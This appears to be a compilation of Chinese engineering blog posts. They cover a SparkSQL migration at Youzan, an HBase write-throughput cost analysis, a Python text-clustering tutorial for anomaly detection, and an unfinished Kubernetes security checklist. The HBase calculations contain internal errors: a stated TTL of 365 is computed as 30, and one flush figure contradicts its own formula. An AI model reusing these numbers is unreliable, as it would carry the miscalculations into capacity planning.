无法比拟的优势。从开始上线提供离线任务服务，再到 Hive 任务逐渐往 SparkSQL 迁移，踩过不少坑，也填了不少坑，这里主要分两个方面介绍，一方面是我们对 SparkSQL 可用性方面的改造以及优化，另一方面是 Hive 迁移时遇到的种种问题以及对策。2.1 可用性改造　可用性问题包括两方面，一个是系统的稳定性，监控/审计/权限等，另一个是用户使用的体验，用户以前习惯用 Hive，如果 SparkSQL 的日志或者 Spark thrift server 的 UI 不能够帮助用户定位问题，解决问题，那也会影响用户的使用或者迁移意愿。所以我首先谈一下用户交互的问题。用户体验我们碰到的第一个问题是用户向我们抱怨通过 JDBC 的方式和 Spark thrift server(STS) 交互，执行一个 SQL 时，没有执行的进度信息，需要一直等待执行成功，或者任务出错时接收任务报错邮件得知执行完。于是执行进度让用户可感知是一个必要的功能。我们做了 Spark 的改造，增加运行时的 operation 日志，并且向社区提交了 patch(spark-22496)，而在我们内部，更增加了执行进度日志，每隔2秒打印出当前执行的 job/stage 的进度，如下图所示。监控SparkSQL 需要收集 STS 上执行的 SQL 的审计信息，包括提交者执行的具体 SQL，开始结束时间，执行完成状态。原生 STS 会把这些信息通过事件的方式 post 到事件总线，监听者角色 (HiveThriftServer2Listener) 在事件总线上注册，订阅消费事件，但是这个监听者只负责 Spark UI 的 JDBC Tab 上的展示，我们改造了 SparkListener 类，将 session 以及执行的 sql statement 级别的消息也放到了总线上，监听者可以在总线上注册，以便消费这些审计信息，并且增加了一些我们感兴趣的维度，如使用的 cpu 资源，归属的工作流(airflowId)。同时，我们增加了一种新的完成状态 cancelled，以方便区分是用户主动取消的任务。Thrift Server HA相比于 HiveServer，STS 是比较脆弱的，一是由于 Spark 的 driver 是比较重的，所有的作业都会通过 driver 编译 sql，调度 job/task 执行，分发 broadcast 变量，二是对于每个 SQL，相比于 HiveServer 会新起一个进程去处理这个 SQL 的执行，STS 只有一个进程去处理，如果某个 SQL 有异常，查询了过多的数据量， STS 有 OOM 退出的风险，那么生产环境维持 STS 的稳定性就显得无比重要。除了必要的存活报警，首先我们区分了 ad-hoc 查询和离线调度的 STS 服务，因为离线调度的任务往往计算结束时是把结果写入 table 的，而 ad-hoc 大部分是直接把结果汇总在 driver，对 driver 的压力比较大；此外，我们增加了基于 ZK 的高可用。对于一种类型的 STS（事实上，有赞的 STS 分为多组，如 ad-hoc，大内存配置组）在 ZK 上注册一个节点，JDBC 的连接直接访问 ZK 获取随机可用的 STS 地址。这样，偶然的 OOM ，或者 bug 被触发导致 STS 不可用，也不会严重到影响调度任务完全不可用，给开发运维人员比较充足的时间定位问题。权限控制之后有另一个文章详细介绍我们对于安全和权限的建设之路，这里简单介绍一下，Hive的权限控制主要包括以下几种:SQL Standards Based Hive AuthorizationStorage Based Authorization in the MetastoreServerAuthorization using Apache Ranger & Sentry调研对比各种实现方案之后，由于我们是从无到有的增加了权限控制，没有历史负担。我们直接选择了ranger + 组件 plugin 的权限管理方案。除了以上提到的几个点，我们还从社区 backport 了数十个 patch 以解决影响可用性的问题，如不识别 hiveconf/hivevar (SPARK-13983)，最后一行被截断(HIVE-10541) 等等。2.2 性能优化之前谈到，STS 只有一个进程去处理所有提交 SQL 的编译，所有的 SQL Job 共享一个 Hive 实例，更糟糕的是这个 Hive 实例还有处理 loadTable/loadPartition 这样的 IO 操作，会阻塞其他任务的编译，存在单点问题。我们之前测试一个上万 partition 的 Hive 表在执行 loadTable 操作时，会阻塞其他任务提交，时间长达小时级别。对于 loadTable 这样的IO操作，要么不加锁，要么减少加锁的时间。我们选择的是后者，首先采用的是社区 SPARK-20187 的做法，将 loadTable 实现由 copyFile 的方式改为 moveFile，见下图：之后变更了配置spark.sql.hive.metastore.jars=maven，运行时通过 Maven 的方式加载 jar 包，解决包依赖关系，使得加载的 Hive 类是2.1.1的版本，和我们 Hive 版本一致，这样得好处是很多行为都会和 Hive 的相一致，方便排查问题；比如删除文件到 Trash，之前 SparkSQL 删除表或者分区后是不会落到 Trash 的。2.3 小文件问题我们在使用 SparkSQL 过程中，发现小文件的问题比较严重，SparkSQL 在写数据时会产生很多小文件，会对 namenode 产生很大的压力，进而带来整个系统稳定性的隐患，最近三个月文件个数几乎翻了个倍。对于小文件问题，我们采用了社区 SPARK-24940 的方式处理，借助 SQL hint 的方式合并小文件。同时，我们有一个专门做 merge 的任务，定时异步的对天级别的分区扫描并做小文件合并。还有一点是spark.hadoop.mapreduce.fileoutputcommitter.algorithm.version=2, MapReduce-4815 详细介绍了 fileoutputcommitter 的原理，实践中设置了 version=2 的比默认 version=1 的减少了70%以上的 commit 时间。三. SparkSQL 迁移之路解决了大部分的可用性问题以后，我们逐步开始了 SparkSQL 的推广，引导用户选择 SparkSQL 引擎，绝大部分的任务的性能能得到较大的提升。于是我们进一步开始将原来 Hive 执行的任务向 SparkSQL 转移。在 SparkSQL 迁移之初，我们选择的路线是遵循二八法则，从优化耗费资源最多的头部任务开始，把Top100的任务从 Hive 往 SparkSQL 迁移，逐步积累典型错误，包括 SparkSQL 和Hive的不一致行为，比较典型的问题由ORC格式文件为空，Spark会抛空指针异常而失败，ORC 格式和 metastore 类型不一致，SparkSQL 也会报错失败。经过一波人工推广之后，头部任务节省的资源相当客观，在2017年底，切换到 SparkSQL 的任务数占比5%，占的资源20%，资源使用仅占 Hive 运行的10%-30%。在 case by case 处理了一段时间以后，我们发现这种方式不太能够扩展了。首先和作业的 owner 协商修改需要沟通成本，而且小作业的改动收益不是那么大，作业的 owner 做这样的改动对他来说收益比较小，反而有一定概率的风险。所以到这个阶段 SparkSQL 的迁移之路进展比较缓慢。于是我们开始构思自动化迁移方式，构思了一种执行引擎之上的智能执行引擎选择服务 SQL Engine Proposer(proposer)，可以根据查询的特征以及当前集群中的队列状态为 SQL 查询选择合适的执行引擎。数据平台向某个执行引擎提交查询之前，会先访问智能执行引擎选择服务。在选定合适的执行引擎之后，数据平台将任务提交到对应的引擎，包括 Hive，SparkSQL，以及较大内存配置的 SparkSQL。并且在 SQL Engine Proposer，我们添加了一系列策略：规则策略，这些规则可以是某一种 SQL pattern，proposer 使用 Antlr4 来处理执行引擎的语法，对于某些迁移有问题的问题，将这种 pattern 识别出来，添加到规则集合中，典型的规则有没有发生 shuffle 的任务，或者只发生 broadcast join 的任务，这些任务有可能会产生很多小文件，并且逻辑一般比较简单，使用Hive运行资源消耗不会太多。白名单策略，有些任务希望就是用Hive执行，就通过白名单过滤。当 Hive 和 SparkSQL 行为不一致的时候，也可以先加入这个集合中，保持执行和问题定位能够同时进行。优先级策略，在灰度迁移的时候，是从低优先级任务开始的，在 proposer 中我们配置了灰度的策略，从低优先级任务切一定的流量开始迁移，逐步放开，在优先级内达到全量，目前放开了除 P1P2 以外的3级任务。过往执行记录，proposer 选择时会根据历史执行成功情况以及执行时间，如果 SparkSQL 效率比 Hive 有显著提升，并且在过去一直执行成功，那么 proposer 会更倾向于选择 SparkSQL。截止目前，执行引擎选择的作业数中 SparkSQL 占比达到了73%，使用资源仅占32%，迁移到 SparkSQL 运行的作业带来了67%资源的节省。未来展望我们计划 Hadoop 集群资源进一步向 SparkSQL 方向转移，达到80%，作业数达70%，把最高优先级也开放到选择引擎，引入 Intel 开源的 Adaptive Execution 功能，优化执行过程中的 shuffle 数目，执行过程中基于代价的 broadcast join 优化，替换 sort merge join，同时更彻底解决小文件问题。最后打个小广告，有赞大数据团队基础设施团队，主要负责有赞的数据平台(DP), 实时计算(Storm, Spark Streaming, Flink)，离线计算(HDFS, YARN, HIVE, SPARK SQL)，在线存储（HBase），实时 OLAP(Druid) 等数个技术产品，欢迎感兴趣的小伙伴联系 zouchenjun@youzan.com ...

HBase写吞吐场景资源消耗量化分析及优化

一. 概述HBase 是一个基于 Google BigTable 论文设计的高可靠性、高性能、可伸缩的分布式存储系统。网上关于 HBase 的文章很多，官方文档介绍的也比较详细，本篇文章不介绍HBase基本的细节。本文从 HBase 写链路开始分析，然后针对少量随机读和海量随机写入场景入手，全方面量化分析各种资源的开销, 从而做到以下两点：在给定业务量级的情况下，预先评估好集群的合理规模在 HBase 的众多参数中，选择合理的配置组合二. HBase 写链路简要分析HBase 的写入链路基于 LSM（Log-Structured Merge-Tree), 基本思想是把用户的随机写入转化为两部分写入：Memstore 内存中的 Map, 保存随机的随机写入，待 memstore 达到一定量的时候会异步执行 flush 操作，在 HDFS 中生成 HFile 中。同时会按照写入顺序，把数据写入一份到 HDFS 的 WAL（Write Ahead Log）中，用来保证数据的可靠性，即在异常（宕机，进程异常退出）的场景下，能够恢复 Memstore 中还没来得及持久化成 HFile 的数据.三. Flush & Compaction上一节中，介绍了 HBase 的写路径，其中 HFile 是 HBase 数据持久化的最终形态, 本节将介绍 HBase 如何生成 HFile 和管理 HFile。关于 HFile，主要涉及到两个核心操作：FlushingCompaction上一节中提到，HBase 的写入最先会放入内存中，提供实时的查询，当 Memstore 中数据达到一定量的阈值（128MB），会通过 Flush 操作生成 HFile 持久化到 HDFS 中，随着用户的写入，生成的 HFile 数目会逐步增多，这会影响用户的读操作，同时也会系统占用（HDFS 层 block 的数目， regionserver 服务器的文件描述符占用）， region split 操作，region reopen 操作也会受到不同程度影响。 HBase 通过 Compaction 机制将多个 HFile 合并成一个 HFile 以控制每个 Region 内的 HFile 的数目在一定范围内，当然 Compaction 还有其他的作用，比如数据本地化率，多版本数据的合并，数据删除标记的清理等等，本文不做展开。另外还有一点需要知道的是，HBase 中 Flush 操作和 Compaction 操作和读写链路是由独立线程完成的，互不干扰。四. 系统开销定量分析为了简化计算，本节针对事件类数据写吞吐型场景，对 HBase 系统中的开销做定量的分析，做以下假设：数据写入的 Rowkey 是打散的，不存在写热点数据写入量及总量是可评估的，会对数据做预先分区，定量分析基于 region 分布稳定的情况下假设随机读的数目很小，小到可以忽略 IO 开销，且对读 RT 不敏感数据没有更新，没有删除操作，有生命周期TTL设置HBase 写入链路中不存在随机磁盘，所以随机 IOPS 不会成为瓶颈一般大数据机型的多个 SATA 盘的顺序写吞吐大于万兆网卡忽略掉RPC带来的额外的带宽消耗4.1 系统变量单条数据大小 -> s （bytes）峰值写 TPS -> THFile 副本数→ R1 （一般为3）WAL 副本数 → R2 (一般为3)WAL 数据压缩比 → Cwal (一般是1)HFile 压缩比 → C (采用 DIFF + LZO，日志场景压缩比一般为 0.2左右)FlushSize → F (这里跟 regionserver 的 memstore 内存容量，region 数目，写入是否平均和 flushsize 的配置有关，简化分析，认为内存是足够的 128MB)hbase.hstore.compaction.min → CT （默认是 3，一般情况下，决定了归并系数，即每次 compaction 参与的文件数目，在不存在 compaction 积压的情况下，实际运行时也是在 3 左右）数据生命周期 → TTL (决定数据量的大小，一般写吞吐场景，日志会有一定的保存周期, 单位天)单机数据量水位 → D ( 单位 T，这里指 HDFS 上存放 HFile 数据的数据量平均分担到每台机器上)MajorCompaction 周期 → M( hbase.hregion.majorcompaction 决定，默认 20 天)以上 11 个参数，是本次量化分析中需要使用到的变量，系统资源方面主要量化以下两个指标：磁盘开销网络开销4.2 磁盘容量开销量化分析这里只考虑磁盘空间方面的占用，相关的变量有：单条数据大小 s峰值写入 TPSHFile 副本数 R1HFile 压缩比 c数据生命周期 TTLHFile的磁盘容量量化公式V = TTL 86400 T s C * R1假设 s = 1000, TTL = 365， T = 200000, C = 0.2 , R1 = 3 的情况下，HFile 磁盘空间需求是： V = 30 * 86400 * 200000 * 1000 * 0.2 * 3 = 311040000000000.0 bytes = 282T 在这里我们忽略了其他占用比较小的磁盘开销，比如：WAL的磁盘开销，在没有 Replication，写入平均的情况下，WAL 的日志量约定于 (hbase.master.logcleaner.ttl /1000) s TPS + totalMemstoreSizeCompaction 临时文件，Split 父 Region 文件等临时文件Snapshot 文件等等4.3 网络开销量化分析HBase中会造成巨大网络开销的主要由一下三部分组成，他们是相互独立，异步进行的，这里做个比方，HBase 这三个操作和人吃饭很像，这里做个类比回归正题，下面按照发生顺序，从三个角度分别分析：写路径FlushCompaction4.3.1 写路径写路径的网络开销，主要是写 WAL 日志方面, 相关的变量有：单条数据大小 s峰值写入 TPSWAL 副本数 R2WAL 压缩比 Cwal写路径中，产生的网络流量分为两部分，一部分是写 WAL 产生的流量，一部分是外部用户 RPC 写入的流量， In 流量和 Out 流量计算公式为：NInWrite = T s Cwal (R2 - 1) + （T s )NOutWrite = T s Cwal * (R2 - 1)假设 T = 20W，s = 1000, Cwal = 1.0, R2 = 3 NInwrite = 200000 * 1000 * 1 * (3-1) + 200000 * 1000 = 600000000 bytes/s = 572MB/s NOutwrite = 200000 * 1000* 1 * (3-1) = 400000000 bytes/s = 381MB/s4.3.2 FlushFlush 的网络开销，主要是生成 HFile 后，将 HFile 写入到 HDFS 的过程，相关的变量有：单条数据大小 s峰值写入 THFIle 副本数 R1HFile 压缩比 CFlush 产生的 In 流量和 Out 流量计算公式为：NInWrite = s T (R1 - 1) * CNOutWrite = s T (R1 - 1) * C假设 T = 20W， S = 1000， R1 = 3， C = 0.2 NInwrite = 200000 * 1000 * (3 - 1) * 0.2 = 80000000.0 bytes/s =76.3MB/s NOutwrite = 200000 * 1000 * (3 - 1) * 0.2 = 120000000.0 bytes/s =76.3MB/s4.3.3 CompactionCompaction 比较复杂，在有预分区不考虑 Split 的情况下分为两类：Major CompactionMinor Compaction两者是独立的，下面将分别针对两种 Compaction 做分析，最后取和：4.3.3.1 Major CompactionMajor Compaction 的定义是由全部 HFile 参与的 Compaction，一般在发生在 Split 后发生，或者到达系统的 MajorCompaction 周期，默认的 MajorCompaction 周期为 20 天，这里我们暂时忽略 Split 造成的 MajorCompaction 流量. 最终 Major Compaction 开销相关的变量是:单机数据量水位 DHFIle 副本数 R1MajorCompaction 周期 → M (默认 20 天)这里假设数据是有本地化的，所以 MajorCompaction 的读过程，走 ShortCircuit，不计算网络开销，并且写 HFile 的第一副本是本地流量，也不做流量计算，所以 MajorCompaction 的网络流量计算公式是：NInMajor = D * (R1 - 1) / MNOutMajor = D * (R1 - 1) / M假设 D = 10T, R1 = 3, M = 20 NInMajor = 10 * 1024 * 1024 * 1024 * 1024 * (3 - 1) / (20 * 86400) = 12725829bytes/s = 12MB/s NOutMajor = 10 * 1024 * 1024 * 1024 * 1024 * (3 - 1) / (20 * 86400) = 12725829bytes /s = 12MB/s4.3.3.2 Minor Compaction量化之前，先问一个问题，每条数据在第一次 flush 成为 HFile 之后，会经过多少次 Minor Compaction? 要回答这个问题之前，要先了解现在 HBase 默认的 compaction 的文件选取策略，这里不展开，只做简单分析，MinorCompaction 选择的文件对象数目，一般处于 hbase.hstore.compaction.min（默认 3）和 hbase.hstore.compaction.max（默认 10）之间, 总文件大小小于 hbase.hstore.compaction.max.size（默认 Max），如果文件的 Size 小于 hbase.hstore.compaction.min.size（默认是 flushsize），则一定会被选中；并且被选中的文件size的差距不会过大, 这个由参数 hbase.hstore.compaction.ratio 和 hbase.hstore.compaction.ratio.offpeak 控制，这里不做展开.所以，在 Compaction 没有积压的情况下，每次 compaction 选中的文件数目会等于 hbase.hstore.compaction.min 并且文件 size 应该相同量级，对稳定的表，对每条数据来说，经过的 compaction 次数越多，其文件会越大. 其中每条数据参与 Minor Compaction 的最大次数可以用公式 math.log( 32000 / 25.6, 3) = 6 得到这里用到的两个变量是：FlushSize 默认是 128 MBHFile 压缩比例，假设是 0.2所以刚刚 Flush 生成的 HFile 的大小在 25.6MB 左右，当集齐三个 25.6MB 的 HFile 后，会触发第一次 Minor Compaction，生成一个 76.8MB 左右的 HFile对于一般情况，单个 Region 的文件 Size 我们会根据容量预分区好，并且控制单个 Region 的 HFile 的总大小在 32G 以内，对于一个 Memstore 128MB, HFile 压缩比 0.2，单个 Region 32G 的表，上表中各个 Size 的 HFile 数目不会超过 2 个(否则就满足了触发 Minor Compaction 的条件)32G = 18.6G + 6.2G + 6.2G + 690MB + 230MB + 76.8MB + 76.8MB到这里，我们知道每条写入的数据，从写入到 TTL 过期，经过 Minor Compaction 的次数是可以计算出来的。所以只要计算出每次 Compaction 的网络开销，就可以计算出，HBase 通过 Minor Compaction 消化每条数据，所占用的总的开销是多少，这里用到的变量有：单条数据大小 s峰值写入 THFIle 副本数 R1HFile 压缩比 C计算公式如下：NInMinor = S T （R1-1） C 总次数NOutMinor = S T （R1-1） C 总次数假设 S = 1000, T = 20W， R1 = 3, C = 0.2，总次数 = 6 NInminor = 1000 * 200000 * (3 - 1) * 0.2 * 6 = 480000000.0bytes/s = 457.8MB/s NOutminor = 1000 * 200000 * (3 - 1) * 0.2 * 6 = 480000000.0bytes/s = 457.8MB/s 4.3.4 网络资源定量分析小结在用户写入 TPS 20W, 单条数据大小 1000 bytes的场景下，整体网络吞吐为：NIntotal = NInwrite + NInflush + NInmajor + NInminor = 572MB/s + 76.3MB/s + 12MB/s + 457.8MB/s = 1118.1MB/sNOuttotal = NOutwrite + NOutflush + NOutmajor + NOutminor = 381MB/s + 76.3MB/s + 12MB/s + 457.8MB/s = 927.1MB当然这是理想情况下的最小开销，有很多种情况，可以导致实际网络开销超过这个理论值, 以下情况都会导致实际流量的升高：预分区不足或者业务量增长，导致 Region 发生 Split， Split 会导致额外的 Compaction 操作分区写入不平均，导致少量 region 不是因为到达了 flushsize 而进行 flush，导致 flush 下来的文件 Size 偏小HFile 因为 balance 等原因导致本地化率低，也会导致 compaciton 产生更多的网卡开销预分区数目过多，导致全局 memstore 水位高，memstore 没办法到达 flushsize 进行 flush，从而全局都 flush 出比较小的文件等等有了这个量化分析后，我们能做什么优化呢？这里不深入展开，简单说几点已经在有赞生产环境得到验证具有实效的优化点：业务接入初期，协助业务做 Rowkey 的设计，避免写入热点增加 hbase.hstore.compaction.min，增加每次 Compaction参加的文件数，相当于减少了每条数据整个生命周期经历过的 Compaction 次数根据业务稳态的规模，做好预分区，尽量减少 Split 造成的额外开销对于读 RT 不敏感的业务，可以设置 hbase.hstore.compaction.max.size 为 4g，尽可能减少过大的文件做 Compaction，因为大文件做 compaction 的 ROI 实在太低对于没有多版本并且有 TTL 的数据，可以关闭系统的 MajorCompaction 周期，数据过期采用文件整体过期的方式，消除 MajorCompaction 的系统开销对于吞吐大的场景，用户在写入数据的时候就对数据做压缩，减小写路径造成的网络开销，毕竟 WAL 是不能压缩的（压缩功能形同虚设）调整 Memstore 的内存比例，保证单机上每个 Region 尽可能的分配到 Flushsize 大小的内存，尽可能的 flush 大文件，从而减少后续 Compaction 开销五. 总结到这里，HBase 的写吞吐场景的资源定量分析和优化的介绍就算结束了，本文基于 HBase1.2.6 版本。对很多 HBase 的细节没有做展开说明，有些地方因为作者认知有限，难免纰漏，欢迎各位同行指出。最后打个小广告，有赞大数据团队基础设施团队，主要负责有赞的数据平台（DP), 实时计算(Storm, Spark Streaming, Flink)，离线计算(HDFS,YARN,HIVE, SPARK SQL)，在线存储（HBase），实时 OLAP(Druid) 等数个技术产品，欢迎感兴趣的小伙伴联系 hefei@youzan.com参考文献Google BigTableHBase 官方网站 ...

异端审判器！一个泛用型文本聚类模型的实现（2）

上文链接：异端审判器！一个泛用型文本聚类模型的实现(1)上回，我们提出了一种只要输入一堆字符串，就能根据字符串的构造挑拣出“少数派”，以识别异常参数的构想。我们将它称作“异端审判”。前文中我们已经定义好了一些必要概念，并写出了函数实现。我们的程序递进地量化了字符之间的差异、字符串之间的差异，最终得到了字符串集合之间的差异。有了这项指标，我们就能完成分拣工作。在生活中，我们常有几排人一起合影的经历。有时是前排蹲下后排站立，有时是矮个子站在前排高个子位居后排。不妨假想一下，如果你就是那位摄影师，正指挥大家列队，你习惯于怎样安排队形呢？通常情况下，你会直接要求站成大致均匀的两排，再逐个调整细节，直到整个队形看上去令人满意。这为我们识别“异端”提供了灵感。想象一位“主教”威立于尖塔的阳台，望着城楼下的人群，现在他要做的就是将人分成两类，一类大致可信，一类有些可疑，再逐个把后者中的信众移进前者，“异端”自然被剩下。这篇文章中，我们就是要实现这样一件事。从一刀切开始分类我们先将每个输入都视作单独的一类，以启动整个流程。整个全集记作 C。# 初始化# 输入一个列表，如[‘a’,‘b’,‘c’]# 输出一个把每个元素都封装为列表的列表，如[[‘a’],[‘b’],[‘c’]]def init(sample_list): C = [] for x in sample_list: C.append([x]) return C基于此前定义的字符串集间距离（在文章中简称为类间距离），选择最接近的两类，合并它们。这步操作听上去很简单，实际上确实也很简单，但我们会遇到一些麻烦：我们一直使用列表来简单表示集合这个数学概念，它们性质并不相同。集合的三个主要特性中，列表不满足无序性与互异性，因此需要一些额外的处理。例如，找到最接近的两类，无论如何我们也需要计算出 n^2 个距离，这就不是一件轻松的事。我们将最小距离记作d——def find_min(C): # 逻辑告诉我们无论怎样做都必须计算两两之间的全部距离，这里用一个二维列表来记录 # 数学告诉我们 a->b 与 b->a 的距离是一样的，其实开销可以减小一半 # 作者告诉大家由于我很懒，就不做这个优化了…… scale = len(C) d = [[0 for i in range(scale)] for i in range(scale)] min_d = classesDistanse(C[0], C[1]) where_min_d = [0, 1] for i in range(scale): for j in range(scale): d[i][j] = classesDistanse(C[i], C[j]) if i != j and d[i][j] < min_d: min_d = d[i][j] where_min_d = [i, j] return where_min_d找到了最小的 d 以后，就该合并它们了。在进行并运算时，我们就会遇到列表与集合的性质差异、逻辑与运算的表示差异等问题，我们重新定义运算函数来弥补这些偏差。如果这部分让你有点眩晕，不要为此担心。你可以将它们都视作 dirty hack，记住我们只是在做一件简单的事情：将刚才已经找到的类间距离最小的两个集合，合并成一个。# C:=C-Ci-Cj+CiUCj# 输入全集列表C及其选出的两个子列表Ci、Cj，如C=[[‘a’],[‘b’],[‘c’]]，Ci=[‘a’], Cj=[‘b’]# 需要注意的是，逻辑上，集合Ci与集合Cj是集合C的【元素】，而交并差都是【集合】之间的运算# 输出合并Ci与Cj之后的全集列表，如[[[‘a’],[‘b’]],[‘c’]]def merge(C, i, j): # 在数学上，集合[[1],[2]]与集合[[1,2]]的并集有三个元素，因为[1],[2],[1,2]都是完全不同的元素。但在这里的逻辑上，需要结果为[[1,2]]，所以另外定义了特殊的“交集”运算 # 交集与差集的运算是针对集合的（如[[1]]）而非元素（如[1])，所以需要手动装进列表再传参。（其实已经特殊处理的交集运算无必要这样做，但为了逻辑一致遵守了统一的写法） C_u = special_union([C[i]], [C[j]]) C_d = difference(difference(C, [C[i]]), [C[j]]) C_n = C_d C_n.append(C_u) return C_n我们将最接近的两类合并成一类了，而目标是“一刀切”，即把整个全集划分为大致均匀的两类。所以我们不断查找最接近的两类，将其合并，直到有某个集合的总量超过全集的一半。# 查找规模最大的一个子列表# 输入全集C，如[[[‘a’],[‘b’]],[‘c’]]# 输出规模最大即集合内元素最多的列表的下标，如 0def find_largest(C): s = [0] * len(C) max_s = len(C[0]) where_max_s = 0 for x in range(len(C)): s[x] = len(C[x]) if s[x] > max_s: max_s = s[x] where_max_s = x return where_max_s每个步骤都已经定义就绪，整个操作流程是这样的：def layerClassification(sample_list): C = init(sample_list) while True: where_min_d = find_min(C) i, j = where_min_d C = merge(C, i, j) where_max_s = find_largest(C) if count_elem(C[where_max_s]) > 0.5 * len(C): break CM = C[where_max_s] CN = difference(C, [CM]) return flatten(CM), flatten(CN)这段代码中提到了两个辅助函数，其中 count_elem() 用于递归遍历每个集合中实际包含的字符串个数（而非子元素个数），分类的最终结果可能出现复杂的多维列表，而我们只需要两个简单的一维列表用于表示两个集合，定义 flatten() 来展开嵌套。你！到那边去！经过了刚才的分类，现在我们有了两个集合。其中的一个包含了原本聚类性比较明显的元素，他们可能长相非常近似，剩下一半只是单纯被剩下了而已，风马牛齐聚一堂，看上去乱糟糟的。接下来就是“微调”时间啦，我们要从那个泥沙俱下的集合中，把“信众”逐个移动到前面那个相对齐整的集合里，从而将“异端”孤立。这件事的关键是何时停止：移到哪一步时，那个混乱的集合恰好只剩“异端”，而又没有“异端”错误地赦免呢？好在我们的主教无需落子无悔，移错了就倒回去嘛。他甚至可以命人把所有结果都罗列出来，由他来判断哪一个方案是最好的。那我们不妨先不考虑决策的事情，提供全部方案就好。我们将分类方案记作 S，一个分类方案由两个集合构成，即{C1, C2}，同样地，我们使用列表来表示。为了在不断移动的过程中，存储每一时刻的 C1 与 C2，而不作为引用跟随变化，我们需要使用深拷贝。def note_solution(S, C1, C2, N): _C1 = copy.deepcopy(C1) _C2 = copy.deepcopy(C2) S.append([_C1, _C2]) N = N + 1 return S基于此前定义的类间距离，我们能够选到 C2 中最接近 C1 的样本：def select_min(C1, C2): min_x = C2[0] min_d = classesDistance(C1, min_x) for x in C2: temp = classesDistance(C1, x) if temp < min_d: min_d = temp min_x = x return min_x把这个样本从 C2 中放进 C1：def update(min_x, C1, C2): C1.append(min_x) C2.remove(min_x) return [C1, C2]我们不断搬运元素，直到那个没有聚类性的 C2 被搬空。记录下这个过程中所有分类方案。除了全部分类方案 S 以外，我们同时维护另一个列表，记录被移动的元素，以便于撤回。由于这个列表里所有元素都是我们每一步选出的到 C1 距离最小元素，不妨就将这个列表称作 M，整个过程如下：def iterateClassification(C): N = 0 S = [] M = [] C1 = C[0] C2 = C[1] while True: note_solution(S, C1, C2, N) min_x = select_min(C1, C2) M.append(min_x) update(min_x, C1, C2) if len(C2) == 0: break del(S[0]) return S, M到这里为止，我们反复运用上篇文章中定义的类间距离，做了一次粗选，又列出了所有微调生成的方案。最佳方案必然就是其中之一，留给我们大主教的，只剩一个优化问题。让我们下回再见～编者按：本文未完待续，敬请期待后续推送。参考文献及整理后的示例代码将在完整文章末给出。文 / YvesX反正你也猜不出我是做什么的编 / 荧声本文由创宇前端作者授权发布，版权属于作者，创宇前端出品。欢迎注明出处转载本文。文章链接：https://www.yvesx.com/archive…想要订阅更多来自知道创宇开发一线的分享，请搜索关注我们的微信公众号：创宇前端（KnownsecFED）。欢迎留言讨论，我们会尽可能回复。欢迎点赞、收藏、留言评论、转发分享和打赏支持我们。打赏将被完全转交给文章作者。感谢您的阅读。 ...

每个人都必须遵循的九项Kubernetes安全最佳实践

作者：StackRox产品经理Connor Gilbert上个月，Kubernetes（世界上最受欢迎的容器编排器）生态系统因发现Kubernetes的第一个主要安全漏洞而动摇。该漏洞（CVE-2018-1002105）使攻击者能够通过Kubernetes API服务器破坏集群，允许他们运行代码来安装恶意软件等恶意活动。今年早些时候，Tesla遭遇了复杂的加密货币挖掘恶意软件感染，由Kubernetes控制台错误配置引起。攻击者利用了特定Kubernetes控制台没有密码保护的事实，允许他们访问其中一个包含Tesla大型AWS环境访问凭据的pod。随着组织加速采用容器和容器编排器，他们需要采取必要措施来保护计算基础架构中的这一关键部分。为了帮助完成这项工作，请查看这九项根据客户意见的Kubernetes安全最佳实践，你应遵循以帮助保护你的基础架构。1.升级到最新版本每个季度更新都会添加新的安全功能，而不仅仅是错误修复，为了充分利用它们，我们建议你运行最新的稳定版本。最好的办法是使用最新版本运行最新补丁，特别是考虑到CVE-2018-1002105的发现。越是落后升级和支持可能会越难，所以计划每季度至少升级一次。使用托管的Kubernetes供应商可以非常轻松地进行升级。2.启用基于角色的访问控制（RBAC）基于角色的访问控制（RBAC）控制谁可以访问Kubernetes API以及他们的权限。默认情况下，RBAC通常在Kubernetes 1.6及更高版本中启用（某些托管供应商稍迟），但如果你从那时起进行了升级并且未更改配置，则需要仔细检查你的设置。由于Kubernetes授权控制器的组合方式，你必须同时启用RBAC，并禁用传统的基于属性的访问控制（ABAC）。一旦实施了RBAC，你仍然需要有效地使用它。通常应避免使用集群范围的权限，而使用特定于命名空间的权限。避免给予任何集群管理员权限，即使是为了调试，仅在需要的情况下，根据具体情况授予访问权限会更安全。你可以使用kubectl get clusterrolebinding或kubectl get rolebinding -all-namespaces来探索集群角色和角色。快速检查谁被授予特殊的“cluster-admin”角色，在这个例子中，它只是“masters”群：如果你的应用程序需要访问Kubernetes API，请单独创建服务帐户，并为每个使用站点提供所需的最小权限集。这比为命名空间的默认帐户授予过宽的权限要好。大多数应用程序根本不需要访问API，对于这些可以将automountServiceAccountToken设置为“false”。3.使用命名空间建立安全边界创建单独的命名空间是组件之间重要的第一级隔离。当不同类型的工作负载部署在不同的命名空间中时，我们发现应用安全控制（如网络策略）要容易得多。你的团队是否有效地使用命名空间？通过检查任何非默认命名空间来立即查找：4.隔离敏感的工作负载为了限制受损的潜在影响，最好在一组专用计算机上运行敏感的工作负载。此方法降低了通过共享容器运行时（runtime）或主机，安全性较低的应用程序访问敏感应用程序的风险。例如，受损节点的kubelet凭证，通常只有在机密内容安装到该节点上安排的pod中时，才能访问机密内容。如果重要机密被安排到整个集群中的许多节点上，则攻击者将有更多机会窃取它们。你可以使用节点池（在云或本地）和Kubernetes命名空间、污点（taint）、容差和其他控件来实现隔离。5.保障云元数据访问安全敏感元数据（例如kubelet管理员凭据）有时会被盗或被滥用以升级集群中的权限。例如，最近的Shopify错误赏金（bug bounty）披露，详细说明了用户如何通过混淆微服务，泄漏云供应商的元数据服务信息来升级权限。GKE的元数据隐藏功能会更改集群部署机制以避免此暴露，我们建议使用它直到有永久解决方案。在其他环境中可能需要类似的对策。6.创建和定义集群网络策略网络策略允许你控制进出容器化应用程序的网络访问。要使用它们，你需要确保拥有支持此资源的网络提供程序，对于一些托管的Kubernetes供应商，例如Google Kubernetes 